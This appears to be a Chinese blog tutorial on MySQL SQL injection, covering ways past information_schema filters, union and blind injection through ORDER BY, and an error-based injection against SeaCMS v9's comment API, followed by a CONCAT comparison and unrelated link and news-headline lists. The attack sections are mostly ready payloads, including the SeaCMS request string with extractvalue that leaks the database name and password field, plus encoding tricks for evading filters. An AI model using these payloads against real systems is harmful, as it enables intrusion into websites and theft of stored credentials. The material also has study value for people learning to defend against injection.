当前位置: 首页 > news >正文

SQL注入(order by、limit),seacmsv9联合注入数据

一、绕过information_schema过滤

1.1 替代系统表/视图

-- 使用sys库(MySQL 5.7+)
SELECT table_name FROM sys.schema_auto_increment_columns 
WHERE table_schema = DATABASE();

-- 使用InnoDB统计表
SELECT table_name FROM mysql.innodb_table_stats 
WHERE database_name = DATABASE();

1.2 编码混淆技术

方法示例
URL编码%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61
Unicode编码information\u005f_schema
十六进制编码0x696e666f726d6174696f6e5f736368656d61

1.3 语法变形技巧

-- 内联注释绕过
SELECT table_name FROM /*!information_schema*/.tables;

-- 关键字分割
SELECT table_name FROM information/**/_schema.tables;

二、绕过ORDER BY注入限制

2.1 联合查询注入

1' UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables LIMIT 1) -- 

2.2 盲注技术对比

类型示例
布尔盲注ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,1,2)
时间盲注ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,SLEEP(5),1)
正则匹配ORDER BY (SELECT table_name) REGEXP '^a'

2.3 分页提取数据

ORDER BY (SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0);

三、Seacmsv9报错注入实战

3.1 漏洞利用过程

GET /comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,
extractvalue(1,concat_ws(0x20,0x5c,database())),@`%27`

3.2 报错结果分析

<!-- 成功回显数据库名 -->
<error>XPATH syntax error: '\ test_db'</error>

<!-- 密码字段截断处理 -->
extractvalue(1,concat_ws(0x20,0x5c,mid((SELECT password),1,30)))

3.3 常见问题排查

  1. 字段过长:使用MID()函数分段读取
  2. 特殊字符:转为HEX编码0x7e
  3. 权限不足:尝试获取其他表数据

四、CONCAT与CONCAT_WS区别

特性CONCATCONCAT_WS
空值处理任一参数为NULL则返回NULL自动跳过NULL值
分隔符首个参数为分隔符
示例CONCAT('A',NULL,'B') → NULLCONCAT_WS('-','2023',NULL,'10') → '2023-10'

相关文章:

  • ROS2中的图形化显示---visualization_msgs
  • 【缓冲区】数据库备份的衍生问题,缓冲区在哪里?JVMor操作系统?(二)
  • 大模型应用案例 | 大模型+金融运维,擎创携手某证券创新运维能力新范式
  • 力扣-动态规划-70 爬楼梯
  • 山东大学计算机组成与设计第六章习题解析
  • C++11 智能指针:unique_ptr、shared_ptr和weak_ptr 功能特性 模拟实现
  • 【新手入门】SQL注入之盲注
  • 双机热备旁挂组网场景实验
  • A64指令集基本指令(一):分支指令
  • Apache Doris:一款高性能的实时数据仓库
  • 实现 Leaflet 多类型点位标记与聚合功能的实战经验分享
  • python-leetcode-最长有效括号
  • 蓝桥杯15届JavaB组6题
  • C/C++语言知识点一
  • 提示学习(Prompting)
  • 算法与数据结构(二叉树中的最大路径和)
  • 深入了解 Python 中的 MRO(方法解析顺序)
  • Docker搭建基于Rust语言的云原生可观测平台OpenObserve
  • sklearn中的决策树-分类树:剪枝参数
  • PMP项目管理—整合管理篇—7.结束项目或阶段
  • 一海南救护车在西藏无任务拉警笛开道,墨脱警方:已处罚教育
  • 威尼斯建筑双年展总策划:山的另一边有什么在等着我们
  • 80后莆田市文旅局长马骏登台与杨宗纬合唱,“演唱会秒变旅游推介会”
  • 重庆荣昌出圈背后:把网络流量变成经济发展的增量
  • 领证不用户口本,还需哪些材料?补领证件如何操作?七问七答
  • 沃旭能源因成本上升放弃英国海上风电项目,或损失近40亿元